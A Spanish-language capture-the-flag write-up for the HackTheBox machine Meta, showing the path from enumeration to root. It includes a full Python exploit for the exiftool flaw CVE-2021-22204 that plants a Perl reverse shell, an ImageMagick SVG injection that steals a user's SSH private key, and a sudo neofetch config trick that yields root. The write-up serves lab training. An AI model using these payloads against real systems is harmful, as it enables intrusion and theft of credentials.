En la fase de enumeración encontramos que en el servicio web se aplica Virtual Hosting y buscando subdominios encontramos una página para extraer Metadatos usando la herramienta exiftool. Encontramos una vulnerabilidad para obtener Remote Code Execution (RCE) con la subida de una imagen maliciosa (CVE-2021-22204) y obtener una shell. Ahora listamos procesos de otros usuarios del sistema con la utilidad pspy y encontramos un ataque XML Inyection para una versión de la herrramienta ImageMagick (CVE-2020-29599), permitiendo RCE y obtener una shell como cierto usuario. Para la escalada encontramos el binario neofetch que podemos ejecutar como root y asignando a su archivo de configuración un comando para activar el modo privilegiado bash -p, ejecutar el binario y ser root.
OS | IP | Release Date | Difficulty | Points |
---|---|---|---|---|
Linux | 10.10.11.140 | 22 Jan 2022 | Medium | 30 |
Antes de empezar la máquina es importante revisar si tenemos conexión con ella, para ello usamos el comando ping
:
Explicación de parámetros:
-c <count> : Número de paquetes ICMP que deseamos enviar a la máquina
Sistema Operativo por aprox. del TTL (Time To Live) :
64 -> Linux | 128 -> Windows
Enumeration
Comenzamos escaneando los puertos TCP abiertos con la herramienta nmap
:
Explicación de parámetros :
-p- : Escanear todos los puertos, del 1 al 65,535
--open : Escanear solo puertos abiertos
-sS : Solo enviar paquetes de tipo SYN (inicio de conexión), incrementa velocidad del escaneo
--min-rate <number> : Enviar una taza (<number>) de paquetes por segundo como mínimo
-v : Imprimir información del proceso del escaneo
-n : No buscar nombres de dominio asociadas a la IP en cuestión (rDNS)
-oG <file> : Guardar output en un archivo (<file>) de formato grepable
Observamos que la máquina tiene abierto el puerto 22 (ssh) y 80 (http), asi que procedemos a escanear de manera específica cada uno de estos puertos:
Explicación de parámetros :
-p<port_1,port_2,...> : Indicamos que puertos queremos escanear
-sC : Ejecutar en los puertos scripts por defecto de nmap
-sV : Activar detección de versiones de los servicios que corren por los puertos
-oN <file> : Guardar el output del escaneo en un archivo con formato Nmap
Omitimos entrar por el puerto 22 ya que no disponemos de credenciales para entrar por SSH.
Vemos que hay un servicio http en el puerto 80, así que ejecutamos whatweb
para obtener un poco de información del servicio http y en paralelo entramos a la página web de la máquina en el navegador. En ambos casos obtenemos un código de estado HTTP 301 Moved Permanently el cuál impide comunicarnos con el servidor pero existe una redirección de la misma:
Encontramos una redirección a http://artcorp.htb, para estas situaciones aplicamos Virtual Hosting agregando el nombre de dominio al directorio /etc/hosts : echo "10.10.11.140 artcorp.htb" >> /etc/hosts
Una vez dentro escanemos directorios de la web por fuerza bruta. Para ello utilizamos la herramienta wfuzz
, pero no encontramos nada interesante. Con la misma herramienta aplicamos búsqueda de subdominios y encontramos uno:
Explicación de parámetros :
-c : Output a colores
-t <number> : Números de hilos para ejecutar tareas en paralelo
--hc=<status_code> : Ocultar respuestas con el código asignado
--hh=<character_number> : Ocultar respuestas con la cantidad de caracteres asignados
-w <wordlist> : Asignamos el wordlist para la búsqueda
-u <url> : Especificamos la url para la solicitud
-H <Headers> : Especificamos el header a utilizar, en este caso HOST el cuál representa el nombre de dominio y remplazamos la palabra FUZZ como el campo subdominio
Con el nombre de subdominio encontrado dev01.artcorp.htb, al igual que antes lo agregamos a nuestro archivo /etc/hosts: echo "10.10.11.140 dev01.artcorp.htb" >> /etc/hosts
Una vez dentro encontramos una ruta con una herramienta para subir un archivo y extraer metadatos, subimos un archivo de prueba .txt para ver el output que genera y nos damos cuenta que solo se permite subir archivos png/jpg. Subimos una imagen, logramos ver los metadatos y por el formato de salida nos damos cuenta que el programa usa la herramienta exiftool
.
Foothold
Encontramos una vulnerabilidad que consiste en subir una imagen maliciosa y obtener ejecución remota de comandos (CVE-2021-22204). Para explotarlo hice un script en Python
a mi manera basandome en algunas referencias de otros exploits:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/python3
import sys
import subprocess
import os
import base64
import pdb
from PIL import Image
from termcolor import cprint
#colors
printRed = lambda s: cprint(s, 'red', end=' ')
printYellow = lambda s: cprint(s, 'yellow', end=' ')
printMagenta = lambda s: cprint(s, 'magenta', end=' ')
printGreen = lambda s: cprint(s, 'green', end=' ')
#panel_help
def help():
printYellow("\n[*] Uso : ")
printMagenta(f"python3 {sys.argv[0]} <ip_address> <port>")
exit(1)
#valid_input
if len(sys.argv) != 3: help()
#check if djvumake and exiftool is installed
def checkTools():
check_djvu = os.popen('which djvumake', 'r')
check_exif = os.popen('which exiftool', 'r')
if check_djvu == "":
exit(printGreen("\n[!] djvumake not installed. Install by running command : sudo apt install djvulibre-bin"))
elif check_exif == "":
exit(printGreen("\n[!] exiftool not installed. Install by running command : sudo apt install exiftool"))
elif check_exif == "" and check_djvu == "":
exit(printGreen("\n[!] djvumake and exiftool not installed. Install by running command : sudo apt install djvulibre-bin exiftool"))
else:
return
#generate image
def create_image():
img = Image.new('RGB', (50, 50), color='blue')
img.save('payload.jpg')
#build the payload
def gen_payload(ip_address, port):
payload = b"(metadata \"\c${use MIME::Base64;eval(decode_base64('"
payload += base64.b64encode( set_shell(ip_address, port).encode() )
payload += b"'))};\")"
return payload
#Asign Shell
def set_shell(ip_address, port):
reverse_shell = f'''use Socket;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));
if(connect(S,sockaddr_in({port},inet_aton('{ip_address}'))))
{
open(STDIN,'>&S');
open(STDOUT,'>&S');
open(STDERR,'>&S');
exec('/bin/sh -i');
};
'''
return reverse_shell
#create payload_file
def gen_payload_file(payload):
payload_file = open('payload', 'w')
payload_file.write(payload.decode('utf-8'))
payload_file.close()
#create config_file
def gen_config_file():
filename = "configfile"
content = '''%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
'''
with open(filename, 'w') as f:
print(content, file=f)
#execute malicious image
def run():
subprocess.run(['bzz', 'payload', 'payload.bzz'])
subprocess.run(['djvumake', 'exploit.djvu', 'INFO=1,1', 'BGjp=/dev/null', 'ANTz=payload.bzz'])
subprocess.run(['exiftool', '-config', 'configfile', '-HasselbladExif<=exploit.djvu', 'payload.jpg'])
#remove others files
def remove_files():
subprocess.run(['rm', 'configfile', 'exploit.djvu', 'payload', 'payload.bzz', 'payload.jpg_original'])
#main
if __name__ == '__main__':
ip_address = sys.argv[1]
port = sys.argv[2]
checkTools()
create_image()
payload = gen_payload(ip_address, port)
gen_config_file()
gen_payload_file(payload)
run()
remove_files()
#References
#---------------------------------------------------------------------------------
#https://github.com/convisolabs/CVE-2021-22204-exiftool
#https://github.com/LazyTitan33/ExifTool-DjVu-exploit/blob/main/CVE-2021.22204.py
#https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py
Pueden clonar el exploit en mi repositorio: https://github.com/E1P0TR0
Una vez descargado le dan permisos de ejecución chmod +x exploit.py
, le asignamos nuestra IP y el puerto por el cuál nos pondremos en escucha para recibir la shell:
Uso:
./exploit.py <nuestra IP> <puerto de escucha>
Ya tendremos la imagen maliciosa payload.jpg
, ahora nos pondremos a escucha por el puerto especificado nc -lvp 1234
y nos dirigimos a la web para subir el archivo y entrar como el usuario www_data, como siempre hacemos tratamiento de la tty para tener una consola interactiva:
Tratamiento de la tty :
script /dev/null -c bash
(Ctrl + z)
stty raw -echo; fg
reset xterm
export SHELL=bash
export TERM=xterm
Intentamos buscar otros usuarios y encontramos a thomas el cuál contiene la flag, pero no tenemos permisos para verla:
Usamos la herramienta pspy
para obtener información de procesos que ejecutan otros usuarios en el sistema, con esto podemos tener una brecha para acceder al usuario thomas. Pueden descargar la herramienta en el siguiente repositorio: https://github.com/DominicBreuker
Una vez descargado lo pasamos a la máquina victima con la herramienta wget
y compartiendo un servidor http con python3
:
En nuestra máquina :
Nos dirigimos al directorio en donde tenemos el binario
Abrimos un servidor http con python3: python3 -m http.server <port>
En la máquina víctima :
Nos dirigimos a un directorio para descargar archivos sin problemas (/tmp)
Ya comprobado que la máquina tiene wget: wget http://nuestra_IP:<port>/nombre_del_binario
Ahora solo queda darle permisos de ejecución al binario, lo compilamos y esperando unos minutos logramos identificar los procesos /usr/local/bin/convert_images.sh
y /usr/local/bin/mogrify
con UID=1000, el cual pertenece al usuario thomas:
Al ver el binario convert_images.sh
observamos que se dirige a una determinada carpeta y luego con mogrify
convierte a formato .png
todos los archivos:
Investigando un poco de mogrify
nos damos cuenta que es parte de la herramienta ImageMagick
, entonces buscamos la version para ver si es vulnerable:
Tenemos la versión ImageMagick 7.0.10-36
, buscando en internet encontramos una vulnerabilidad (CVE-2020-29599), la cuál nos permite inyectar comandos a través del parámetro -authenticate
que es vulnerable al momento de asignar una contraseña a un archivo PDF encriptado.
En el siguiente enlace puede ver el artículo donde se analiza a detalle dicha vulnerabilidad: https://insert-script.blogspot.com/2020/11/imagemagick-shell-in jection-via-pdf.html
Primero nos dirigimos a un directorio de prueba /tmp
y creamos un archivo de formato .svg poc.svg
con el siguiente contenido:
1
2
3
4
5
6
7
8
9
<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa | base64)> /home/thomas/private_key`;"'>
<read filename="pdf:/etc/passwd"/>
<get width="base-width" height="base-height" />
<resize geometry="400x400" />
<write filename="test.png" />
<svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image xlink:href="msl:poc.svg" height="100" width="100"/>
</svg>
</image>
Con lo anterior nuestro objetivo es entrar como el usuario thomas, y sabiendo que podemos ejecutar comandos, entonces intentamos visualizar la llave privada de thomas, encodearla con base64
para tener un mejor formato y por último ponerle un nombre private_key
y ubicarla en un directorio donde podamos visualizarla /home/thomas/
.
Ya tenemos el archivo listo, ahora en base al script convert_images.sh
lo copiamos a la ruta /var/www/dev01.artcorp.htb/convert_images/
, ejecutamos dicho script y en cuestión de algunos segundos nos dirigimos a la carpeta asiganada anteriormente en la cuál encontraremos la llave privada encodeada:
Solo queda ordenarla, decodearla, guardarla en nuestro equipo para entrar por SSH como el usuario thomas y ver la flag:
En la máquina víctima:
Ejecutamos: cat private_key | tr ' ' '\n' | base64 -d
Copiamos el output
En nuestra máquina:
Creamos un archivo: touch id_rsa
Pegamos el output, guardamos
Le damos permisos: chmod 600 id_rsa
Explicación parámetros :
-i <identify_file> : Especificar la ubicación de la clave privada del cliente que usamos para logearnos al servidor ssh
Privilege Escalation
El último paso que nos queda es escalar como usuario root, para ello primero podemos ejecutar ciertas técnicas clásicas como buscar binarios con permisos SUID o listar binarios que podemos ejecutar como usuario root:
No encontramos binarios con permisos SUID, pero existe el binario neofetch
que podemos ejeutar como root.
Averiguando un poco en internet sabemos que neofetch
es un script en bash que nos proporciona información de nuestro equipo y sistema por medio de la terminal:
Además se menciona que existe una configuración de usuario en cierta ruta:
Buscamos ese archivo de configuración:
Contenido del archivo de configuración de thomas:
Entonces lo que necesitamos ahora es manipular el archivo de configuración del usuario root y con ello obtener una brecha para convertirnos en usuario root
Para esto, si retrocedemos al momento de ejecutar sudo -l
para ver los binarios que podemos ejecutar como usuario, notamos una Variable de entorno:
Buscando en internet obtenemos el significado:
Ahora lo que debemos hacer es asignar a la variable de entorno nuestra ruta de archivo de configuración de neofetch
para que a la hora de ejecutarlo como root, forcemos la lectura de nuestro archivo de configuración y podamos ejecutar lo necesario para acceder como root:
Por último, agregamos a nuestro archivo de configuración /bin/bash -p
, ejecutamos el binario como usuario root y pa-dentro!:
Explicación de comandos usados :
sed -i : Permite editar archivos en diferentes lugar, en esta ocasión agregando 1i seguido de “/bin/bash -p” para agregarlo al incio del archi vo .config y sea lo primero que se ejecute
sudo -u <user> : Permite ejecutar comandos como el usuario asignado
Por otro lado para /bin/bash:
-p : Este parámetro se utiliza para activar el modo privilegiado y mantener el userid del usuario que lanza la bash